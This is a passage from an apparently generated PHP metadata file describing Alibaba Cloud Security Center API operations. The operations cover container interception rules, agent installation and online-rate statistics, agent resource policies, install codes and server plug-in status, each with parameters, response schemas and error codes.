\\"PLUGIN_OFFLINE\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListClusterCnnfStatusDetail', ], 'ModifyInterceptionRule' => [ 'summary' => 'Modifies a proactive defense rule for containers.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', ], 'parameters' => [ [ 'name' => 'RuleId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '500018', ], ], [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the container cluster.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~182997~~) operation to query the IDs of container clusters.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c17ef568f81884cdab402decd5fcd****', ], ], [ 'name' => 'RuleName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the rule.'."\n", 'type' => 'string', 'required' => false, 'example' => 'tetsRule', ], ], [ 'name' => 'RuleSwitch', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether the rule is enabled. Valid values:'."\n" ."\n" .'* **1**: enabled'."\n" .'* **0**: disabled'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'SrcTarget', 'in' => 'query', 'style' => 'json', 'schema' => [ 'description' => 'The source object of the rule. The following parameters are included:'."\n" ."\n" .'* targetId: the ID of the source object. You can call the [ListInterceptionTargetPage](~~ListInterceptionTargetPage~~) operation to query the ID.'."\n", 'type' => 'object', 'required' => false, 'example' => '{"targetId":400989}', ], ], [ 'name' => 'DstTarget', 'in' => 'query', 'style' => 'json', 'schema' => [ 'description' => 'The destination objects of the rule. The following parameters are included:'."\n" ."\n" .'* targetId: the ID of the destination object. You can call the [ListInterceptionTargetPage](~~ListInterceptionTargetPage~~) operation to query the ID.'."\n" .'* ports: the destination port ranges.'."\n", 'type' => 'object', 'required' => false, 'example' => '{"targetId":600069,"ports":["80/8088"]}', ], ], [ 'name' => 'InterceptType', 'in' => 'query', 'schema' => [ 'description' => 'The interception mode. Valid values:'."\n" ."\n" .'* **1**: block'."\n" .'* **2**: alert'."\n" .'* **3**: allow'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'OrderIndex', 'in' => 'query', 'schema' => [ 'description' => 'The priority of the rule. Valid values: 1 to 1000. A smaller value indicates a higher priority.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '6961B151-B43C-533B-8B2E-1D3151D7F5B2', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"6961B151-B43C-533B-8B2E-1D3151D7F5B2\\"\\n}","type":"json"}]', 'title' => 'ModifyInterceptionRule', ], 'ModifyInterceptionRuleSwitch' => [ 'summary' => 'Enables or disables a proactive defense rule for containers.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', ], 'parameters' => [ [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the cluster.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~) operation to query the IDs of clusters.'."\n", 'type' => 'string', 'required' => false, 'example' => 'ce5c29aba99694ade9ba85dc620b4****', ], ], [ 'name' => 'RuleSwitch', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether the rule is enabled. Valid values:'."\n" ."\n" .'* **1**: enabled'."\n" .'* **0**: disabled'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'RuleIds', 'in' => 'query', 'schema' => [ 'description' => 'The IDs of the rules whose status you want to change. Separate multiple IDs with commas (,).'."\n" ."\n" .'> You can call the [ListInterceptionRulePage](~~182997~~) operation to query the IDs of rules.'."\n", 'type' => 'string', 'required' => false, 'example' => '403287', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'DE725A60-95F2-50E8-8F5D-81055215E7DA', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"DE725A60-95F2-50E8-8F5D-81055215E7DA\\"\\n}","type":"json"}]', 'title' => 'ModifyInterceptionRuleSwitch', ], 'GetClientRatioStatistic' => [ 'summary' => 'Queries the installation rate and online rate of the agent.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasGC725T', ], ], 'parameters' => [ [ 'name' => 'TimeStart', 'in' => 'query', 'schema' => [ 'description' => 'The timestamp that specifies the beginning of the time range to collect statistics. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1671382800000', ], ], [ 'name' => 'TimeEnd', 'in' => 'query', 'schema' => [ 'description' => 'The timestamp that specifies the end of the time range to collect statistics. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1686412799999', ], ], [ 'name' => 'StatisticTypes', 'in' => 'query', 'style' => 'flat', 'schema' => [ 'description' => 'An array that consists of the details of a statistical type.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The type of the statistics.'."\n" ."\n" .'* **INSTALL**: installation rate'."\n" .'* **ONLINE**: online rate'."\n", 'type' => 'string', 'required' => false, 'example' => 'INSTALL', ], 'required' => false, ], ], [ 'name' => 'ResourceDirectoryAccountId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the primary account of the Resource Directory member account.'."\n" .'> call the [DescribeMonitorAccounts](~~DescribeMonitorAccounts~~) interface to obtain this parameter.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '127608589417****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7', ], 'ClientInstallRatio' => [ 'description' => 'The statistics on the client installation rate.'."\n", 'type' => 'object', 'properties' => [ 'HistoryItems' => [ 'description' => 'The list of historical statistics on the installation rate of the client.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Vendor' => [ 'description' => 'The type of the cloud asset. Valid values:'."\n" ."\n" .'* **0**: an asset provided by Alibaba Cloud'."\n" .'* **1**: a third-party cloud asset'."\n" .'* **2**: an asset in a data center'."\n" .'* **3**, **4**, **5**, and **7**: other cloud asset'."\n" .'* **8**: a simple application server'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '3', ], 'Items' => [ 'description' => 'The list of statistics on the client installation rate.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'CalculateTime' => [ 'description' => 'The timestamp of the calculation. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1687759630045', ], 'AssetTotalCount' => [ 'description' => 'The total number of assets.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'InstallRatio' => [ 'description' => 'The installation rate. Unit: %.'."\n", 'type' => 'number', 'format' => 'double', 'example' => '80.00', ], 'InstalledAssetCount' => [ 'description' => 'The number of assets on which the client is installed.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '80', ], ], ], ], ], ], ], 'CurrentItems' => [ 'description' => 'The list of current statistics on the installation rate of the client.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Vendor' => [ 'description' => 'The type of the server. Valid values:'."\n" ."\n" .'* **0**: an asset provided by Alibaba Cloud'."\n" .'* **1**: a third-party cloud asset'."\n" .'* **2**: an asset in a data center'."\n" .'* **3**, **4**, **5**, and **7**: other cloud asset'."\n" .'* **8**: a lightweight asset'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], 'Items' => [ 'description' => 'The list of the statistics on the installation rate of the client by vendor.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'CalculateTime' => [ 'description' => 'The timestamp of the calculation. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1687759630045', ], 'AssetTotalCount' => [ 'description' => 'The total number of assets.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'InstallRatio' => [ 'description' => 'The installation rate. Unit: %.'."\n", 'type' => 'number', 'format' => 'double', 'example' => '70.00', ], 'InstalledAssetCount' => [ 'description' => 'The number of assets on which the client is installed.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '70', ], ], ], ], ], ], ], ], ], 'ClientOnlineRatio' => [ 'description' => 'The statistics on the client online rate.'."\n", 'type' => 'object', 'properties' => [ 'HistoryItems' => [ 'description' => 'The list of historical statistics on the online rate of the client.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Vendor' => [ 'description' => 'The type of the server. Valid values:'."\n" ."\n" .'* **0**: an asset provided by Alibaba Cloud'."\n" .'* **1**: a third-party cloud asset'."\n" .'* **2**: an asset in a data center'."\n" .'* **3**, **4**, **5**, and **7**: other cloud asset'."\n" .'* **8**: a lightweight asset'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '7', ], 'Items' => [ 'description' => 'The list of historical statistics on the online rate of the client by vendor.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'CalculateTime' => [ 'description' => 'The timestamp of the calculation. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1687759630045', ], 'AssetInstallCount' => [ 'description' => 'The number of assets on which the client is installed.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '50', ], 'OnlineRatio' => [ 'description' => 'The online rate. Unit: %.'."\n", 'type' => 'number', 'format' => 'double', 'example' => '40.00', ], 'OnlineAssetCount' => [ 'description' => 'The number of online assets.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], ], ], ], ], ], ], 'CurrentItems' => [ 'description' => 'The list of current statistics on the online rate of the client.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Vendor' => [ 'description' => 'The type of the cloud asset. Valid values:'."\n" ."\n" .'* **0**: an asset provided by Alibaba Cloud'."\n" .'* **1**: a third-party cloud asset'."\n" .'* **2**: an asset in a data center'."\n" .'* **3**, **4**, **5**, and **7**: other cloud asset'."\n" .'* **8**: a simple application server'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '3', ], 'Items' => [ 'description' => 'The list of current statistics on the online rate of the client by vendor.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'CalculateTime' => [ 'description' => 'The timestamp of the calculation. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1687759630045', ], 'AssetInstallCount' => [ 'description' => 'The number of assets on which the client is installed.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '50', ], 'OnlineRatio' => [ 'description' => 'The online rate. Unit: %.'."\n", 'type' => 'number', 'format' => 'double', 'example' => '20.00', ], 'OnlineAssetCount' => [ 'description' => 'The number of online assets.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], ], ], ], ], ], ], ], ], 'Dates' => [ 'description' => 'The list of time when statistics were collected.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The time when statistics were collected. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1687104000000', ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'RdCheckNoPermission', 'errorMessage' => 'Resource directory account verification has no permission.', ], [ 'errorCode' => 'NeedBuy', 'errorMessage' => 'This service shoule be purchased first.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'RdCheckInnerError', 'errorMessage' => 'Resource directory account service internal error.', ], [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7\\",\\n \\"ClientInstallRatio\\": {\\n \\"HistoryItems\\": [\\n {\\n \\"Vendor\\": 3,\\n \\"Items\\": [\\n {\\n \\"CalculateTime\\": 1687759630045,\\n \\"AssetTotalCount\\": 100,\\n \\"InstallRatio\\": 80,\\n \\"InstalledAssetCount\\": 80\\n }\\n ]\\n }\\n ],\\n \\"CurrentItems\\": [\\n {\\n \\"Vendor\\": 0,\\n \\"Items\\": [\\n {\\n \\"CalculateTime\\": 1687759630045,\\n \\"AssetTotalCount\\": 100,\\n \\"InstallRatio\\": 70,\\n \\"InstalledAssetCount\\": 70\\n }\\n ]\\n }\\n ]\\n },\\n \\"ClientOnlineRatio\\": {\\n \\"HistoryItems\\": [\\n {\\n \\"Vendor\\": 7,\\n \\"Items\\": [\\n {\\n \\"CalculateTime\\": 1687759630045,\\n \\"AssetInstallCount\\": 50,\\n \\"OnlineRatio\\": 40,\\n \\"OnlineAssetCount\\": 20\\n }\\n ]\\n }\\n ],\\n \\"CurrentItems\\": [\\n {\\n \\"Vendor\\": 3,\\n \\"Items\\": [\\n {\\n \\"CalculateTime\\": 1687759630045,\\n \\"AssetInstallCount\\": 50,\\n \\"OnlineRatio\\": 20,\\n \\"OnlineAssetCount\\": 10\\n }\\n ]\\n }\\n ]\\n },\\n \\"Dates\\": [\\n 1687104000000\\n ]\\n}","type":"json"}]', 'title' => 'GetClientRatioStatistic', ], 'ModifyClientConfStrategy' => [ 'summary' => 'Modifies an agent configuration policy.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92355', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server that you want to query.'."\n", 'type' => 'string', 'required' => false, 'example' => '4fe8e1cd-3c37-4851-b9de-124da32c****', ], ], [ 'name' => 'Tag', 'in' => 'query', 'schema' => [ 'description' => 'The key of the tag that is added to the agent configuration policy.'."\n", 'type' => 'string', 'required' => true, 'example' => 'machineResource', ], ], [ 'name' => 'TagValue', 'in' => 'query', 'schema' => [ 'description' => 'The value of the tag that is added to the agent configuration policy.'."\n" ."\n" .'* major'."\n" .'* advanced'."\n" .'* basic'."\n", 'type' => 'string', 'required' => true, 'enumValueTitles' => [], 'example' => 'advanced', ], ], [ 'name' => 'TagExt', 'in' => 'query', 'schema' => [ 'description' => 'The extended tag of the agent configuration policy.'."\n", 'type' => 'string', 'required' => false, 'example' => 'auto', ], ], [ 'name' => 'Uuids', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The UUID of the asset. You can specify a maximum of 500 UUIDs at a time.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The UUID of the asset.'."\n", 'type' => 'string', 'required' => false, 'example' => '07a1300d-2198-4d0d-b1b3-c8da205e****', ], 'required' => false, 'maxItems' => 500, ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '9089D0AB-835F-5663-AB5E-4FF646BB****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"9089D0AB-835F-5663-AB5E-4FF646BB****\\"\\n}","type":"json"}]', 'title' => 'ModifyClientConfStrategy', ], 'DescribeClientConfStrategy' => [ 'summary' => 'Queries the configurations of servers to which different tags are added.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], ], 'parameters' => [ [ 'name' => 'Tag', 'in' => 'query', 'schema' => [ 'description' => 'The tag that is added to the server.'."\n", 'type' => 'string', 'required' => true, 'example' => 'machineResource', ], ], [ 'name' => 'TagValue', 'in' => 'query', 'schema' => [ 'description' => 'The value of the tag. Valid values:'."\n" ."\n" .'* major'."\n" .'* advanced'."\n" .'* basic'."\n", 'type' => 'string', 'required' => true, 'enumValueTitles' => [], 'example' => 'major', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '5BD95679-D63A-4151-97D0-188432F****', ], 'TargetList' => [ 'description' => 'An array that consists of the configurations.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the configuration.'."\n", 'type' => 'object', 'properties' => [ 'Uuid' => [ 'description' => 'The UUID of the Security Center agent.'."\n", 'type' => 'string', 'example' => '2b1753a6-04d9-448e-ad17-7abdf19f****', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"TotalCount\\": 100,\\n \\"RequestId\\": \\"5BD95679-D63A-4151-97D0-188432F****\\",\\n \\"TargetList\\": [\\n {\\n \\"Uuid\\": \\"2b1753a6-04d9-448e-ad17-7abdf19f****\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeClientConfStrategy', ], 'ModifyClientConfSetup' => [ 'summary' => 'Modifies the resource configurations of the Security Center agent.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '92354', 'abilityTreeNodes' => [ 'FEATUREsasFVYNUW', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'StrategyTag', 'in' => 'query', 'schema' => [ 'description' => 'The type of the tag.'."\n", 'type' => 'string', 'required' => true, 'example' => 'machineResource', ], ], [ 'name' => 'StrategyTagValue', 'in' => 'query', 'schema' => [ 'description' => 'The value of the tag. Valid values:'."\n" ."\n" .'* major'."\n" .'* advanced'."\n" .'* basic'."\n", 'type' => 'string', 'required' => true, 'enumValueTitles' => [], 'example' => 'major', ], ], [ 'name' => 'StrategyConfig', 'in' => 'query', 'schema' => [ 'description' => 'The configurations of the Security Center agent.'."\n" ."\n" .'* cpu: the maximum CPU utilization that can be occupied by the Security Center agent on the server'."\n" .'* mem: the maximum memory usage that can be occupied by the Security Center agent on the server'."\n", 'type' => 'string', 'required' => false, 'example' => '{'."\n" .' "cpu": "20"'."\n" .'}', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '60E24426-B910-5D7F-8B8B-3BCDC3FC****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"60E24426-B910-5D7F-8B8B-3BCDC3FC****\\"\\n}","type":"json"}]', 'title' => 'ModifyClientConfSetup', ], 'DescribeClientConfSetup' => [ 'summary' => 'Queries the configurations of the Security Center agent.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '92018', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'StrategyTag', 'in' => 'query', 'schema' => [ 'description' => 'The tag that is added to the server.'."\n", 'type' => 'string', 'required' => true, 'example' => 'machineResource', ], ], [ 'name' => 'StrategyTagValue', 'in' => 'query', 'schema' => [ 'description' => 'The value of the tag. Valid values:'."\n" ."\n" .'* major'."\n" .'* advanced'."\n" .'* basic'."\n", 'type' => 'string', 'required' => true, 'enumValueTitles' => [], 'example' => 'major', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '151F6EB6-D5F3-417A-AF7B-4D84975D****', ], 'ClientConf' => [ 'description' => 'The configurations of the Security Center agent.'."\n", 'type' => 'object', 'properties' => [ 'StrategyTagValue' => [ 'description' => 'The value of the tag. Valid values:'."\n" ."\n" .'* major'."\n" .'* advanced'."\n" .'* basic'."\n", 'type' => 'string', 'enumValueTitles' => [], 'example' => 'major', ], 'Config' => [ 'description' => 'The configurations of the usage for the Security Center agent.'."\n", 'type' => 'string', 'example' => '{"mem":"200","cpu":"10","cpu_all":"0"}', ], 'StrategyTag' => [ 'description' => 'The tag that is added to the configuration.'."\n", 'type' => 'string', 'example' => 'machineResource', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"151F6EB6-D5F3-417A-AF7B-4D84975D****\\",\\n \\"ClientConf\\": {\\n \\"StrategyTagValue\\": \\"major\\",\\n \\"Config\\": \\"{\\\\\\"mem\\\\\\":\\\\\\"200\\\\\\",\\\\\\"cpu\\\\\\":\\\\\\"10\\\\\\",\\\\\\"cpu_all\\\\\\":\\\\\\"0\\\\\\"}\\",\\n \\"StrategyTag\\": \\"machineResource\\"\\n }\\n}","type":"json"}]', 'title' => 'DescribeClientConfSetup', ], 'DescribeInstallCode' => [ 'summary' => 'Queries the installation verification code that is used to run the installation command of the Security Center agent.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'Code' => [ 'description' => 'The status code returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-D1BBB393****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Code\\": \\"200\\",\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-D1BBB393****\\"\\n}","type":"json"}]', 'title' => 'DescribeInstallCode', ], 'DeleteInstallCode' => [ 'summary' => 'Deletes the command that is used to install the Security Center agent.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'delete', ], 'parameters' => [ [ 'name' => 'CaptchaCode', 'in' => 'query', 'schema' => [ 'description' => 'The installation command.'."\n" ."\n" .'> You can call the [DescribeInstallCodes](~~DescribeInstallCodes~~) operation to query installation commands.'."\n", 'type' => 'string', 'required' => true, 'example' => '1q****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'D65AADFC-1D20-5A6A-8F6A-9FA53C0DC1F8', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D65AADFC-1D20-5A6A-8F6A-9FA53C0DC1F8\\"\\n}","type":"json"}]', 'title' => 'DeleteInstallCode', ], 'ListPluginForUuid' => [ 'summary' => 'Queries the information about plug-ins on a server.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], ], 'parameters' => [ [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server.'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUIDs of servers.'."\n", 'type' => 'string', 'required' => true, 'example' => 'bdb7071f-129d-4ceb-af80-4cf70c4571c6', ], ], [ 'name' => 'Types', 'in' => 'query', 'style' => 'simple', 'schema' => [ 'description' => 'The plug-in types.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The type of the plug-in. Valid values:'."\n" ."\n" .'* **auto_breaking**: antivirus'."\n" .'* **ransomware_breaking**: anti-ransomware (bait capture)'."\n" .'* **webshell\\_cloud_breaking**: webshell prevention'."\n" .'* **alisecguard**: client protection'."\n" .'* **alinet**: malicious behavior defense', 'type' => 'string', 'required' => false, 'example' => 'auto_breaking', ], 'required' => false, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', ], 'AegisUuidTargetPluginConfigList' => [ 'description' => 'An array that consists of the information about the plug-ins.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the plug-in.'."\n", 'type' => 'object', 'properties' => [ 'PluginName' => [ 'description' => 'The name of the plug-in. Valid values:'."\n" ."\n" .'* **alihips**: trojan-specific prevention'."\n" .'* **alisecguard**: attack-specific prevention'."\n" .'* **alinet**: defense against attacks on servers'."\n", 'type' => 'string', 'example' => 'alisecguard', ], 'PluginOnlineInstalled' => [ 'description' => 'Indicates whether the plug-in is installed. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n", 'type' => 'boolean', 'example' => 'true', ], 'PluginOnlineStatus' => [ 'description' => 'Indicates whether the plug-in is online. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n", 'type' => 'boolean', 'example' => 'true', ], 'PluginInstallCode' => [ 'description' => 'The installation code of the plug-in.'."\n", 'type' => 'string', 'example' => 'k5O5nd', ], 'PluginVersion' => [ 'description' => 'The version of the plug-in.'."\n", 'type' => 'string', 'example' => '00_10', ], 'AegisSuspiciousConfigList' => [ 'description' => 'An array that consists of the configurations of plug-ins.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The configurations of the plug-in.'."\n", 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The name of the plug-in. Valid values:'."\n" ."\n" .'* **alihips**: trojan-specific prevention'."\n" .'* **alisecguard**: attack-specific prevention'."\n" .'* **alinet**: defense against attacks on servers'."\n", 'type' => 'string', 'example' => 'alisecguard', ], 'Config' => [ 'description' => 'Indicates whether the plug-in is enabled. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Msg' => [ 'description' => 'The message that indicates whether 